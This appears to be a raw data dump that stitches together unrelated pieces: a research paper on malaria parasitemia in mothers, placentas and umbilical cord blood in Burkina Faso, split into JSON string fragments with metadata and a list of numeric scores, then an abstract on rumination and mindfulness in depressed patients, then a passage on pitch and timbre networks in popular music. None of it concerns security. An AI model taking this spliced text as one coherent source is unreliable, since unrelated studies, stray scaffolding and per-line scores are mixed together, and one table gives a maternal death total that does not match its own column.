"Ethical Considerations {#sec2.7}\n---------------------------\n\nThe study was discussed with health authorities and local leaders to obtain their assent. ",
"The study was reviewed and approved by the Burkina Faso Ministry of Health ethical committee. ",
"Informed consent (by signature or thumbprint) was obtained after the consent document was read to the women in the local language. ",
"For illiterate mothers, the informed consent discussion process was witnessed by an impartial individual.",
"\n\n3. ",
"Results {#sec3}\n==========\n\n3.1. ",
"Characteristics of Women at the Delivery Unit {#sec3.1}\n--------------------------------------------------\n\nIn total, 1,374 women delivered at the health unit; 1,309 women delivered singleton infants and provided data in the form of peripheral blood smear, placental blood, and umbilical cord blood. ",
"The profile of enrolled women is summarized in [Table 1](#tab1){ref-type=\"table\"}. ",
"Most of the women spoke Moore, a language indigenous to this region of Burkina Faso. ",
"The mean age (SD) of the women was 23.90 ± 5.89 years. ",
"The self-report indicated that ownership and use of insecticide-impregnated materials (bed nets and/or curtains) was reported by approximately one-third of the women. ",
"The rate of use of insecticide-impregnated materials (bed nets and/or curtains) was very low in the study population. ",
"All of the women used drug prophylaxis during their pregnancy (IPTp/SP or weekly prophylaxis with chloroquine).",
"\n\nPrimigravidae comprised 35% of the total sample size, and primigravidae and secundigravida together made up 56% of the total sample size. ",
"The mean duration of gestation was 38.66 ± 3.89 weeks. ",
"The mode of delivery of babies was spontaneous for 97.5% of the mothers.",
"\n\nTwo women died during delivery as a consequence of eclampsia. ",
"Other complications during the delivery included peripartum haemorrhage, placental retention, and retroplacental haemorrhage. ",
"Fifty stillbirths (3.6%) and 18 (1.3%) miscarriages occurred at the DUs.",
"\n\nThe weight range of babies was 700 g to 4,700 g with a mean weight of 2,875 ± 450 g. Sixteen percent of the babies presented low birth weight at delivery ([Table 1](#tab1){ref-type=\"table\"}).",
"\n\n3.2. ",
"Maternal Peripheral Parasitemia: Placental and Umbilical Cord Blood Parasitemia {#sec3.2}\n------------------------------------------------------------------------------------\n\nOver one-third of the women were parasitaemic. ",
"Indeed, of the 1,309 pregnant women, *Plasmodium falciparum* was detected in peripheral blood from 369 (28.2%) of the women at the time of delivery. ",
"Overall, the geometric mean of the maternal peripheral parasite density was 1,106.47 (95% CI 871.58--1404.67) parasites/*μ*L. [Table 2](#tab2){ref-type=\"table\"} shows the prevalence of peripheral, placental, and umbilical cord parasitemia. *",
"Plasmodium falciparum*was detected in the placentas of 255 (19.5%) women; 28.5% of these belonged to primigravidae and 11.4% to multigravidae. ",
"The difference in infection between the primigravidae and the multigravidae was statistically significant (*P* \\< 0.0001). ",
"All of the women received malaria prophylaxis during pregnancy.",
"\n\nUmbilical cord blood parasitemia with *Plasmodium falciparum*was detected in 18 (1.4%) babies, and the geometric mean umbilical cord blood parasitemia was 315.69 (95% CI 87.02--1145.20) parasites/*μ*L. Of these, 2.4% (11) belonged to primigravidae and 0.5% (3) to multigravidae. ",
"Of the 18 babies with *Plasmodium-falciparum*-positive umbilical cord blood parasitemia, 17 were positive for trophozoites and 1 was positive for schizonts only. ",
"Both schizonts and trophozoites were present in seven babies, and one newborn had a triple-positive association (trophozoite + schizont + gametocyte). ",
"Five newborns (27.8%) out of the 18 infected with *Plasmodium falciparum* had low birth weight.",
"\n\nOut of 369 (28.2%) women with peripheral positive parasitemia, 211 (57.2%) had positive placental malaria and 14 (3.8%) had malaria parasites in the umbilical cord blood. ",
"Eleven (5.2%) of the 211 (57.2%) women with positive placental smears for malaria had malaria parasites in the umbilical cord blood. ",
"Of the 18 babies infected with *Plasmodium falciparum*, 14 (77.8%) were born from mothers with positive peripheral parasitemia. ",
"For two newborns with *Plasmodium falciparum* infection, no peripheral or placental infection was found in the mother. ",
"None of the babies with cord blood positive for malaria had fever within the first 24 h of life.",
"\n\nThe number of pregnant women with peripheral, placental, and umbilical infection and high peripheral parasitemia (\\>10,000 parasites/*μ*L) decreased with increasing gravidity ([Table 2](#tab2){ref-type=\"table\"}).",
"\n\nThe combination of being born to a mother with both peripheral and placental infection conferred a greater likelihood of infection of the baby (61%). ",
"Being born with only maternal peripheral infection reduced the likelihood of having umbilical cord parasitemia (17%). ",
"There was an association between umbilical cord blood infection and maternal peripheral infection (*P* \\< 0.001). ",
"Being born with only placental infection reduced the rate of umbilical cord parasitemia (11%). ",
"There was also an association between umbilical cord blood infection and placental infection (*P* \\< 0.001) ([Table 3](#tab3){ref-type=\"table\"}).",
"\n\nBeing born to a mother with maternal peripheral parasite density ≥5,000 parasites/*μ*L or placental parasite density ≥10,000 parasites/*μ*L conferred a greater likelihood of umbilical cord parasitemia ([Table 3](#tab3){ref-type=\"table\"}).",
"\n\n3.3. ",
"Risk Factors {#sec3.3}\n-----------------\n\nWe further examined the correlation between risk factors and the presence or absence of umbilical cord parasitemia to determine possible factors that might affect infection with malaria parasites in umbilical cord blood. ",
"Univariate logistic regression analysis indicated that being born with maternal parasitemia, being born with maternal parasite density ≥ 5,000 parasites/*μ*L, being born with placental parasitemia, being born with placental parasite density between 1,000--4,999 parasites/*μ*L, being born with placental parasite density ≥10,000 parasites/*μ*L, and being born in a first pregnancy were all associated with the presence of umbilical cord blood parasitemia. ",
"Low birth weight was not associated with umbilical cord blood parasitemia ([Table 3](#tab3){ref-type=\"table\"}).",
"\n\nLow maternal peripheral and placental parasitemia, prematurity, use of impregnated bednets, low birth weight, and female sex were independent risk factors for infection in the babies.",
"\n\nOn multivariate logistic regression, none of the seven factors that were significant on univariate logistic regression remained significant ([Table 4](#tab4){ref-type=\"table\"}).",
"\n\n4. ",
"Discussion {#sec4}\n=============\n\n4.1. ",
"Low Levels of Umbilical Cord Parasitemia {#sec4.1}\n---------------------------------------------\n\nThis study shows the burden of malaria in pregnant women at the delivery unit in a malaria-endemic area of Burkina Faso. ",
"This investigation demonstrated the burden of malaria during pregnancy. ",
"The maternal peripheral parasitemia rate found in this study was 28.2%. ",
"This is similar to the rate reported in other countries in sub-Saharan Africa \\[[@B2], [@B21]\\].",
"\n\nThe prevalence of placental parasites was 19.5%. ",
"Previously reported prevalence rates of placental parasitemia in Africa have been highly variable, ranging from 17.2% to 57% \\[[@B11], [@B22]--[@B24]\\]. ",
"The placenta is a site for *Plasmodium falciparum*sequestration. ",
"Many hypotheses, based on a systemic or local failure of the immunological response to malaria, have been proposed to explain the preference of the parasites for replication in the placenta \\[[@B25]\\].",
"\n\nThe malaria rate in umbilical cord blood was low in the study population, occurring in 1.4% of all newborns, in 5.2% of babies born from mothers with peripheral and placental malaria infection, and in 5.1% of babies born from women with placental malaria infection only. ",
"Previously reported rates from different parts of Africa are highly variable, ranging from 0% to 54% \\[[@B11], [@B22], [@B24], [@B26], [@B27]\\]. ",
"The low rate in the present study, which is comparable to rates reported in some previous manuscripts, could be explained by effective prevention of malaria during pregnancy. ",
"In fact, it has now been proven that malaria parasites identified in cord blood are acquired antenatally by transplacental transmission of infected erythrocytes. ",
"The mechanisms underlying congenital transmission, according to an earlier report, include maternal transfusion into the fetal circulation either at the time of delivery or during pregnancy, through direct penetration through the chorionic villi, or through premature separation of the placenta \\[[@B28], [@B29]\\]. ",
"Pregnant women, who have received antimalarial treatment, should be able to clear parasitemia to avoid umbilical cord transmission. ",
"Immunity in the mother could also provide an explanation. ",
"Transplacental transmission of malaria appears to occur infrequently; it may be possible that after transplacental transmission, some elements of immunity, acquired from the mother, protect the infants from becoming infected \\[[@B24]\\]. ",
"This resistance may reflect, among other things, the physical barrier of the placenta to infected red cells, the passive transfer of maternal antibodies, and/or the poor environment afforded by fetal erythrocytes for plasmodial replication, due to their fetal hemoglobin composition and low free-oxygen tension \\[[@B28]\\].",
"\n\nSome studies have found high rates of transplacental malaria infection. ",
"The difference between those studies and our report could be explained by several factors. ",
"First, the high efficacy of malaria prophylaxis during this study may have allowed the women to clear their parasitaemia and therefore prevent placental and transplacental transmission of the infection to their babies. ",
"Second, our sole use of microscopy may have led to underdiagnosis, since this method has lower sensitivity than the newer molecular methods, such as real-time PCR, used in other studies \\[[@B22], [@B29]\\]. ",
"Finally, it might be that our numbers reflect the true prevalence of infection, as compared with data collected during routine services, in which lack of quality control of the reading of smears could lead to an overestimation of the infection rate.",
"\n\n4.2. ",
"Risk Factors {#sec4.2}\n-----------------\n\nUnivariate analysis of the association of risk factors with the presence or absence of umbilical cord parasitemia revealed seven risk factors that was associated with *Plasmodium falciparum* parasitemia in umbilical cord blood. ",
"The presence of maternal peripheral parasitemia, placental parasitemia, high-density peripheral parasitemia, high-density placental parasitemia, and primigravid status was associated with an increased risk of malaria parasitemia in cord blood. ",
"However, in multivariate analysis, these associations failed to reach statistical significance.",
"\n\nMaternal peripheral blood parasitemia was associated with umbilical cord blood parasitemia (OR = 9.24, *P* \\< 0.001). ",
"Four cases of umbilical cord blood parasitemia occurred in pregnancies not complicated by maternal peripheral malaria infection.",
"\n\nThere were also associations between placental and cord blood parasitemia (OR = 10.74, *P* \\< 0.001), and between cord blood/placental and maternal peripheral parasitemia. ",
"Five cases of umbilical cord blood parasitemia occurred in pregnancies not complicated by placental malaria infection. ",
"Only two newborns had mothers with neither peripheral malaria infection nor placental malaria infection. ",
"Earlier studies of transplacental malaria reported these associations \\[[@B11], [@B18], [@B24], [@B30]\\]. ",
"A strong association between placental malaria and umbilical cord blood parasitemia has been reported, and this was suggested to be responsible for congenital malaria. ",
"However, whether the presence of *Plasmodium falciparum*malaria parasites in umbilical cord blood denotes infection acquired antenatally or contamination with infected maternal blood at delivery is not clear \\[[@B15]\\]. ",
"These associations suggest that clearing maternal and placental parasitemia with effective antimalarial drugs before delivery could prevent transplacental transmission of parasitemia.",
"\n\nThe density of maternal peripheral parasitemia (\\>5,000 parasites/*μ*L) was an important determinant of the likelihood of umbilical cord blood parasitemia (OR = 5.29, *P* = 0.004). ",
"The density of placental parasitemia (\\>10,000 parasites/*μ*L) was also an important determinant of the likelihood of umbilical cord parasitemia (OR = 4.91, *P* = 0.03). ",
"High density parasitemia seems to facilitate umbilical cord infection. ",
"Conversely, previous reports, showing low rates of transplacental transmission of malaria, suggest that the placental barrier is very effective in the case of very low malaria parasite density \\[[@B22]\\].",
"\n\nFinally, univariate analysis showed that being born from a first pregnancy was also linked to umbilical cord blood parasitemia (OR = 2.96, *P* = 0.02).",
"\n\n5. ",
"Conclusions {#sec5}\n==============\n\nOur data indicate that the rate of mother-to-child transmission of malaria, defined as positive umbilical cord blood parasitemia, appears to be low. ",
"Clinicians are therefore advised to investigate other aetiologies of fever in neonates. ",
"The low level of parasitaemia in cord blood suggests that contamination probably occurs during the labour period. ",
"Maternal, placental, and high density parasitemia were all associated with umbilical cord parasitemia. ",
"Prevention of malaria during pregnancy with effective antimalarial drugs should reduce the risk of infection for newborns.",
"\n\nThe authors declare that they have no conflict of interests.",
"\n\nThe authors express our gratitude to the pregnant women who participated in the study for their kind cooperation. ",
"Special thanks are due to all the staff of the health districts of Boussé and Koupela. ",
"The authors also thank the lab staff of the Centre National de Recherche et de Formation sur la Paludisme, Mr. Ouedraogo Z. Amidou for data management and Convelbo Nathalie for organizing the logistics of the study (Ouagadougou, Burkina Faso).",
"\n\n###### \n\nCharacteristics of enrolled women.",
"\n\n Gravidity \n ------------------------------ -------------- -------------- -------------- --------------\n Age, median (years) 19.24 ± 2.25 21.68 ± 2.60 28.71 ± 5.38 23.90 ± 5.89\n Mean gestational age (weeks) 38.16 ± 4.24 38.79 ± 3.79 39.02 ± 3.59 38.66 ± 3.89\n Mossi ethnic group (%) 95.8 96.2 94.7 95.5\n Sleeps under bednets (%) 22.8 28.1 19.4 22.4\n Mother death (*N*) 2 0 0 0\n \n Pregnancy outcome \n Stillbirth (*N*) 19 8 23 50\n Miscarriage (*N*) 8 3 7 18\n Weight (g) 2,719 ± 430 2,893 ± 390 2,995 ± 440 2,875 ± 450\n \n Number of live babies (*N*) 460 270 579 1309\n LBW\\* (*N*/%) 111 (24.1%) 39 (14.4%) 57 (9.8%) 207 (15.8%)\n\nLBW\\*: low birth weight.",
"\n\n###### \n\nThe proportion of newborns with *Plasmodium falciparum*parasitemia in umbilical cord blood, placental parasitemia, and maternal parasitemia, along with parasite density.",
"\n\n ------------------------------------------------------------------------------------------------------------------------------------\n Gravidity \n ---------------------------------------------- ---------------------- -------------------- -------------------- --------------------\n Peripheral parasitemia (%) 34.3 35.2 20.3 28.2\n\n Geometric mean (parasites/*μ*L) (CI 95%) 2,143.18\\ 894.71\\ 495.09\\ 1,106.47\\\n (1,552.86--2,957.92) (548.60--1,459.19) (318.44--769.74) (871.58--1404.67)\n\n Negative peripheral parasitemia (%) 32.4 18.8 48.8 71.7\n\n Peripheral parasitemia 1--999 (%) 30.9 29.5 39.6 11.4\n\n Peripheral parasitemia 1,000--4,999 (%) 53.3 19.6 27.2 7.1\n\n Peripheral parasitemia 5,000--9,999 (%) 52.5 22.5 25.0 3.1\n\n Peripheral parasitemia ≥10,000 (%) 58.8 25.0 16.2 5.2\n\n \n\n Placental parasitemia (%) 28.5 21.9 11.4 19.5\n\n Geometric mean (parasites/*μ*L) (CI 95%) 1384.55\\ 396\\ 591.71\\ 830.52\\\n (880.97--2,176.00) (223.30--703.17) (289.60--1,209.00) (599.66--1,150.27)\n\n Negative placental parasitemia (%) 30.9 20.0 49.1 19.9\n\n Placental parasitemia 1--999 (%) 46.5 26.4 27.1 10.1\n\n Placental parasitemia 1,000--4,999 (%) 51.2 26.8 22.0 3.2\n\n Placental parasitemia 5,000--9,999 (%) 50.0 29.2 20.8 1.9\n\n Placental parasitemia ≥10,000 (%) 69.7 6.1 24.2 2.6\n\n \n\n Umbilical cord parasitemia (%) 2.4 1.5 0.5 1.4\n\n Geometric mean (parasites/*μ*L) (CI 95%) 263.74\\ 644.08\\ 222.16\\ 315.69\\\n (40.85--1,702.50) (5.85--70,803.72) (0.76--64,635.57) (87.02--1,145.20)\n\n Negative umbilical cord parasitemia (%) 34.9 20.5 44.7 98.6\n\n Umbilical cord parasitemia 1--999 (%) 61.5 15.4 23.1 1.0\n\n Umbilical cord parasitemia 1,000--4,999 (%) 0.0 100 0.0 0.1\n\n Umbilical cord parasitemia 5,000--9,999 (%) 0.0 0.0 0.0 0.0\n\n Umbilical cord parasitemia ≥10,000 (%) 66.7 33.3 0.0 0.2\n ------------------------------------------------------------------------------------------------------------------------------------\n\n###### \n\nUnivariate logistic regression of risk factors associated with *Plasmodium falciparum*parasitemia in umbilical cord blood.",
"\n\n Proportion of newborns with umbilical cord blood parasitemia and the risk factor specified Odds ratio 95% confidence intervals *P*\n ------------------------------------- -------------------------------------------------------------------------------------------- ------------ -------------------------- ---------\n Peripheral positive parasitemia 77.8% 9.24 3.02--28.28 \\<0.001\n Peripheral parasitemia 1--999 22.2% 2.23 0.75--7.20 0.13\n Peripheral parasitemia 1,000--4,999 11.1% 1.64 0.37--7.28 0.50\n Peripheral parasitemia 5,000--9,999 22.2% 9.62 3.01--30.69 \\<0.001\n Peripheral parasitemia ≥10,000 22.2% 5.29 1.69--16.52 0.004\n Placental positive parasitemia 72.2% 10.74 3.79--30.42 \\<0.001\n Placental parasitemia 1--999 16.7% 1.78 0.50--6.24 0.36\n Placental parasitemia 1,000--4,999 22.2% 9.62 3.01--30.69 \\<0.001\n Placental parasitemia 5,000--9,999 5.6% 3.13 0.40--24.56 0.27\n Placental parasitemia ≥10,000 11.1% 4.91 1.08--22.28 0.03\n Primigravid 61.1% 2.96 1.13--7.69 0.02\n Prematurity (\\<37 weeks) 33.3% 1.58 0.52--4.25 0.36\n ITN 33.3% 1.69 0.63--4.56 0.29\n LBW\\* 27.8% 2.10 0.74--5.97 0.16\n Female sex of infant 61.1% 1.78 0.68--4.63 0.33\n\nLBW\\*: low birth weight.",
"\n\n###### \n\nMultivariate logistic regression of risk factors, associated with *Plasmodium falciparum*parasitemia in umbilical cord blood.",
"\n\n Odds ratio 95% confidence intervals *P*\n ------------------------------------- ------------ -------------------------- ------\n Peripheral positive parasitemia 2.43 0.50--11.66 0.26\n Peripheral parasitemia 5,000--9,999 3.71 0.92--14.98 0.06\n Peripheral parasitemia ≥10,000 1.60 0.38--6.66 0.51\n Placental positive parasitemia 3.30 0.73--14.87 0.11\n Placental parasitemia 1,000--4,999 2.27 0.58--8.77 0.23\n Placental parasitemia ≥10,000 0.95 0.15--5.69 0.95\n Primigravid 1.91 0.70--5.21 0.20\n\n[^1]: Academic Editor: Ricardo E. Fretes\n"
] | {
"pile_set_name": "PubMed Central"
} | [
0.0009391900966875255,
0.001353899366222322,
0.04094097390770912,
0.019667888060212135,
0.04405045509338379,
0.0011039306409657001,
0.0010290630161762238,
0.000658247503452003,
0.0014222146710380912,
0.016701946035027504,
0.0033666843082755804,
0.001013698522001505,
0.004305444657802582,
0.001400334294885397,
0.0059811268001794815,
0.0005871854955330491,
0.0010907649993896484,
0.0006331389886327088,
0.0006336488295346498,
0.0007078976486809552,
0.0006013646489009261,
0.0006226475816220045,
0.001023304183036089,
0.001185585861094296,
0.0011304218787699938,
0.0006283113616518676,
0.0005791031289845705,
0.0005834983894601464,
0.0005554460221901536,
0.0005651213577948511,
0.0008608268108218908,
0.0065729646012187,
0.0007869603578001261,
0.0013893843861296773,
0.000799707428086549,
0.0004997851210646331,
0.0013590181479230523,
0.0007340211304835975,
0.0037857939023524523,
0.0010507131228223443,
0.0063426559790968895,
0.0007875706069171429,
0.0008431201567873359,
0.0011112039210274816,
0.0006041624001227319,
0.001303607365116477,
0.0008786374237388372,
0.0010042173089459538,
0.0010516884503886104,
0.0006414799718186259,
0.0006228520651347935,
0.0006604912341572344,
0.00060376146575436,
0.0007408253732137382,
0.0012572675477713346,
0.001045270822942257,
0.0017242967151105404,
0.0013601059326902032,
0.0012262470554560423,
0.0006038667634129524,
0.0005685555515810847,
0.0005446626455523074,
0.0006226944387890399,
0.0009345817961730063,
0.001125482958741486,
0.0012852742802351713,
0.0005801069200970232,
0.0005255387513898313,
0.0005646871286444366,
0.07840191572904587,
0.00117425003554672,
0.0012125058565288782,
0.003703962778672576,
0.0005787083646282554,
0.0008287623641081154,
0.0007918605115264654,
0.0009338527452200651,
0.000650688773021102,
0.0017690395470708609,
0.0007261767750605941,
0.0009642554796300828,
0.0012429091148078442,
0.016107628121972084,
0.0020154102239757776,
0.002293222350999713,
0.0007174705388024449,
0.0013830555835738778,
0.011421622708439827,
0.0018288741121068597,
0.0006386820459738374,
0.0011009958107024431,
0.0007724771276116371,
0.022967293858528137,
0.003182541113346815,
0.006557594984769821,
0.0015605972148478031,
0.004198332782834768,
0.0221017487347126,
0.015994753688573837,
0.004152420908212662,
0.0014362987130880356,
0.0030637590680271387,
0.006096167024224997,
0.0011580432765185833,
0.009358608163893223,
0.01201720256358385,
0.01964956521987915,
0.004469328094273806,
0.002730387495830655,
0.0013750585494562984,
0.001622852636501193,
0.0020096045918762684,
0.006803625263273716,
0.0020547201856970787,
0.0006541945622302592,
0.0012900278670713305,
0.0010222006822004914,
0.0017641540616750717,
0.000654900970403105,
0.0007126870914362371,
0.0006455652764998376,
0.0007197757950052619,
0.0006382931605912745,
0.002106528030708432,
0.000720018579158932,
0.005873037036508322,
0.0005993739468976855,
0.0005719638429582119,
0.0009496412822045386,
0.0005946113960817456,
0.02759997732937336,
0.0008708933601155877,
0.000893548596650362,
0.0006197725306265056,
0.0007047333638183773,
0.0005520927952602506,
0.002681609010323882,
0.0005954913212917745,
0.0006049359799362719,
0.0012962599284946918,
0.0039450302720069885,
0.0012978343293070793,
0.0005891950568184257,
0.012352238409221172,
0.004150561522692442,
0.0015847122995182872,
0.005627940408885479,
0.003884718054905534,
0.0006366272573359311,
0.0015592098934575915,
0.004835544154047966,
0.0008589611388742924,
0.001113462494686246,
0.001038507791236043,
0.05540598928928375,
0.0006299245869740844,
0.001778050558641553,
0.0013671480119228363,
0.0027515983674675226,
0.0014111645286902785,
0.0025125578977167606,
0.005915749818086624,
0.0010875113075599074,
0.0006395152886398137,
0.0005621658056043088,
0.0005445993156172335,
0.0005524518201127648,
0.000732399697881192,
0.01432259101420641,
0.010366233997046947,
0.021619156002998352,
0.03457290306687355,
0.01460224948823452,
0.004304058849811554
] | 0.004396 | 174 |
[
"Rumination, distraction, and mindful self-focus in depressed patients.",
"\nRumination has been proposed as a cognitive risk factor for the onset and maintenance of depression. ",
"In parallel, mindfulness interventions have shown to reduce the risk for recurrence of depressive episodes. ",
"This study aimed to investigate effects of short periods of induced rumination, distraction, and mindful self-focus on sad mood in depressed patients and to assess possible moderator effects of habitual variables on respective mood changes. ",
"Seventy-six depressed patients 3.5 years after discharge from inpatient treatment were subjected to negative mood induction and subsequently randomly assigned to a rumination, distraction, or mindful self-focus induction. ",
"Habitual aspects of rumination, distraction, and mindfulness were assessed by questionnaires. ",
"Compared to rumination, the induction of a mindful self-focus and of distraction showed clear beneficial effects on the course of negative mood. ",
"While habitual distraction predicted better mood outcomes across all conditions, patients high in habitual mindfulness tended to show stronger negative mood reduction specifically after the induction of a mindful self-focus. ",
"This study indicates that - similar to distraction - an experimentally induced mindful self-focus is able to reduce negative mood in depressed patients. ",
"Implications regarding possible subgroups of patients who might particularly benefit from mindfulness-based interventions are discussed."
] | {
"pile_set_name": "PubMed Abstracts"
} | [
0.0012847515754401684,
0.0006318785017356277,
0.00097832758910954,
0.0007403002819046378,
0.0011716327862814069,
0.0006233318708837032,
0.0007949417340569198,
0.0006546289660036564,
0.0013162801042199135,
0.000555823149625212
] | 0.000875 | 10 |
[
"To identify structural patterns of musical discourse we first need to build a ‘vocabulary’ of musical elements (Fig. ",
"1). ",
"To do so, we encode the dataset descriptions by a discretization of their values, yielding what we call music codewords20 (see Supplementary Information, SI). ",
"In the case of pitch, the descriptions of each song are additionally transposed to an equivalent main tonality, such that all of them are automatically considered within the same tonal context or key. ",
"Next, to quantify long-term variations of a vocabulary, we need to obtain samples of it at different periods of time. ",
"For that we perform a Monte Carlo sampling in a moving window fashion. ",
"In particular, for each year, we sample one million beat-consecutive codewords, considering entire tracks and using a window length of 5 years (the window is centered at the corresponding year such that, for instance, for 1994 we sample one million consecutive beats by choosing full tracks whose year annotation is between 1992 and 1996, both included). ",
"This procedure, which is repeated 10 times, guarantees a representative sample with a smooth evolution over the years.",
"\n\nFigure 1 Method schematic summary with pitch data. ",
"The dataset contains the beat-based music descriptions of the audio rendition of a musical piece or score (G, Em and D7 on the top of the staff denote chords). ",
"For pitch, these descriptions reflect the harmonic content of the piece15 and encapsulate all sounding notes of a given time interval into a compact representation11,12, independently of their articulation (they consist of the 12 pitch class relative energies, where a pitch class is the set of all pitches that are a whole number of octaves apart, e.g. notes C1, C2 and C3 all collapse to pitch class C). ",
"All descriptions are encoded into music codewords, using a binary discretization in the case of pitch. ",
"Codewords are then used to perform frequency counts and as nodes of a complex network whose links reflect transitions between subsequent codewords. ",
"Full size image\n\nWe first count the frequency of usage of pitch codewords (i.e. the number of times each codeword type appears in a sample). ",
"We observe that most used pitch codewords generally correspond to well-known harmonic items21, while unused codewords correspond to strange/dissonant pitch combinations (Fig. ",
"2a). ",
"Sorting the frequency counts in decreasing order provides a very clear pattern behind the data: a power law17 of the form z ∝ r−α, where z corresponds to the frequency count of a codeword, r denotes its rank (i.e. r = 1 for the most used codeword and so forth) and α is the power law exponent. ",
"Specifically, we find that the distribution of codeword frequencies for a given year nicely fits to P(z) ∝ (c + z) −β for z > z min , where we take z as the random variable22, β = 1 + 1/α as the exponent and c as a constant (Fig. ",
"2b). ",
"A power law indicates that a few codewords are very frequent while the majority are highly infrequent (intuitively, the latter provide the small musical nuances necessary to make a discourse attractive to listeners3,4,5). ",
"Nonetheless, it also states that there is no characteristic frequency nor rank separating most used codewords from largely unused ones (except for the largest rank values due to the finiteness of the vocabulary). ",
"Another non-trivial consequence of power-law behavior is that when α ≤ 2, extreme events (i.e. very rare codewords) will certainly show up in a continuous discourse providing the listening time is sufficient and the pre-arranged dictionary of musical elements is big enough.",
"\n\nFigure 2 Pitch distributions and networks. (",
"a) Examples of the rank-frequency distribution (relative frequencies z′ such that ). ",
"For ease of visualization, curves are chronologically shifted by a factor of 10 in the vertical axis. ",
"Some frequent and infrequent codewords are shown. (",
"b) Examples of the density values and their fits, taking z as the random variable. ",
"Curves are chronologically shifted by a factor of 10 in the horizontal axis. (",
"c) Average shortest path length l versus clustering coefficient C for pitch networks (right) and their randomized versions (left). ",
"Randomized networks were obtained by swapping pairs of links chosen at random, avoiding multiple links and self-connections. ",
"Values l and C calculated without considering the 10 highest degree nodes (see SI). ",
"Arrows indicate chronology (red and blue colors indicate values for more and less recent years, respectively). ",
"Full size image\n\nImportantly, we find this power-law behavior to be invariant across years, with practically the same fit parameters. ",
"In particular, the exponent β remains close to an average of 2.18 ± 0.06 (corresponding to α around 0.85), which is similar to Zipf's law in linguistic text corpora23 and contrasts with the exponents found in previous small-scale, symbolic-based music studies24,25. ",
"The slope of the least squares linear regression of β as a function of the year is negligible within statistical significance (p > 0.05, t-test). ",
"This makes a high stability of the distribution of pitch codeword frequencies across more than 50 years of music evident. ",
"However, it could well be that, even though the distribution is the same for all years, codeword rankings were changing (e.g. a certain codeword was used frequently in 1963 but became mostly unused by 2005). ",
"To assess this possibility we compute the Spearman's rank correlation coefficients26 for all possible year pairs and find that they are all extremely high, with an average of 0.97 ± 0.02 and a minimum above 0.91. ",
"These high correlations indicate that codeword rankings practically do not vary with years.",
"\n\nCodeword frequency distributions provide a generic picture of vocabulary usage. ",
"However, they do not account for discourse syntax, as well as a simple selection of words does not necessarily constitute an intelligible sentence. ",
"One way to account for syntax is to look at local interactions or transitions between codewords, which define explicit relations that capture most of the underlying regularities of the discourse and that can be directly mapped into a network or graph18,19. ",
"Hence, analogously to language-based analyses27,28,29, we consider the transition networks formed by codeword successions, where each node represents a codeword and each link represents a transition (see SI). ",
"The topology of these networks and common metrics extracted from them can provide us with valuable clues about the evolution of musical discourse.",
"\n\nAll the transition networks we obtain are sparse, meaning that the number of links connecting codewords is of the same order of magnitude as the number of codewords. ",
"Thus, in general, only a limited number of transitions between codewords is possible. ",
"Such constraints would allow for music recognition and enjoyment, since these capacities are grounded in our ability for guessing/learning transitions3,4,8 and a non-sparse network would increase the number of possibilities in a way that guessing/learning would become unfeasible. ",
"Thinking in terms of originality and creativity, a sparse network means that there are still many ‘composition paths’ to be discovered. ",
"However, some of these paths could run into the aforementioned guessing/learning tradeoff9. ",
"Overall, network sparseness provides a quantitative account of music's delicate balance between predictability and surprise.",
"\n\nIn sparse networks, the most fundamental characteristic of a codeword is its degree k, which measures the number of links to other codewords. ",
"With pitch networks, this quantity is distributed according to a power law P(k) ∝ k−γ for k > k min , with the same fit parameters for all considered years. ",
"The exponent γ, which has an average of 2.20±0.06, is similar to many other real complex networks18 and the median of the degree k is always 4. ",
"Nevertheless, we observe important trends in the other considered network metrics, namely the average shortest path length l, the clustering coefficient C and the assortativity with respect to random Γ. Specifically, l slightly increases from 2.9 to 3.2, values comparable to the ones obtained when randomizing the network links. ",
"The values of C show a considerable decrease from 0.65 to 0.45 and are much higher than those obtained for the randomized network. ",
"Thus, the small-worldness30 of the networks decreases with years (Fig. ",
"2c). ",
"This trend implies that the reachability of a pitch codeword becomes more difficult. ",
"The number of hops or steps to jump from one codeword to the other (as reflected by l) tends to increase and, at the same time, the local connectivity of the network (as reflected by C) tends to decrease. ",
"Additionally, Γ is always below 1, which indicates that the networks are always less assortative than random (i.e. well-connected nodes are less likely to be connected among them), a tendency that grows with time if we consider the biggest hubs of the network (SI). ",
"The latter suggests that there are less direct transitions between ‘referential’ or common codewords. ",
"Overall, a joint reduction of the small-worldness and the network assortativity shows a progressive restriction of pitch transitions, with less transition options and more defined paths between codewords.",
"\n\nAs opposed to pitch, timbre provides a different picture. ",
"Even though the distribution of timbre codeword frequencies is also well-fitted by a power law (Fig. ",
"3a), the parameters of this distribution vary across years. ",
"In particular, since 1965, β constantly decreases to values approaching 4 (Fig. ",
"3b). ",
"Although such large values of β would imply that other fits could also be acceptable, the power law provides a simple parameterization to compare the changes over the years (and is not rejected in a likelihood ratio test in front of other alternatives). ",
"Smaller values of β indicate less timbral variety: frequent codewords become more frequent and infrequent ones become even less frequent. ",
"This evidences a growing homogenization of the global timbral palette. ",
"It also points towards a progressive tendency to follow more fashionable, mainstream sonorities. ",
"Interestingly, rank correlation coefficients are generally below 0.7, with an average of 0.57 ± 0.15 (Fig. ",
"3c). ",
"These rather low rank correlations would act as an attenuator of the sensation that contemporary popular music is becoming more homogeneous, timbrically speaking. ",
"The fact that frequent timbres of a certain time period become infrequent after some years could mask global homogeneity trends to listeners.",
"\n\nFigure 3 Timbre distributions. (",
"a) Examples of the density values and fits taking z as the random variable. (",
"b) Fitted exponents β. (",
"c) Spearman's rank correlation coefficients for all possible year pairs. ",
"Full size image\n\nCompared to timbre codeword frequencies, metrics obtained from timbre transition networks show no substantial variation. ",
"Again, similar median degrees (all equal to 8) and degree distributions were observed for all considered years. ",
"However, we were not able to achieve a proper fit for the latter (SI). ",
"Values of Γ are larger than 1 and increasing since 1965. ",
"Thus, in contrast to pitch, timbre networks are more assortative than random. ",
"The values of l fluctuate around 4.8 and C is always below 0.01. ",
"Noticeably, both are close to the values obtained with randomly wired networks. ",
"This close to random topology quantitatively demonstrates that, as opposed to language, timbral contrasts (or transitions) are rarely the basis for a musical discourse1. ",
"This does not regard timbre as a meaningless facet. ",
"Global timbre properties, like the aforementioned power law and rankings, are clearly important for music categorization tasks2,11 (one example is genre classification31). ",
"Notice however that the evolving characteristics of musical discourse have important implications for artificial or human systems dealing with such tasks. ",
"For instance, the homogenization of the timbral palette and general timbral restrictions clearly challenge tasks exploiting this facet. ",
"A further example is found with the aforementioned restriction of pitch codeword connectivity, which could hinder song recognition systems (artificial song recognition systems are rooted on pitch codeword-like sequences, cf.32).",
"\n\nLoudness distributions are generally well-fitted by a reversed log-normal function (Fig. ",
"4a). ",
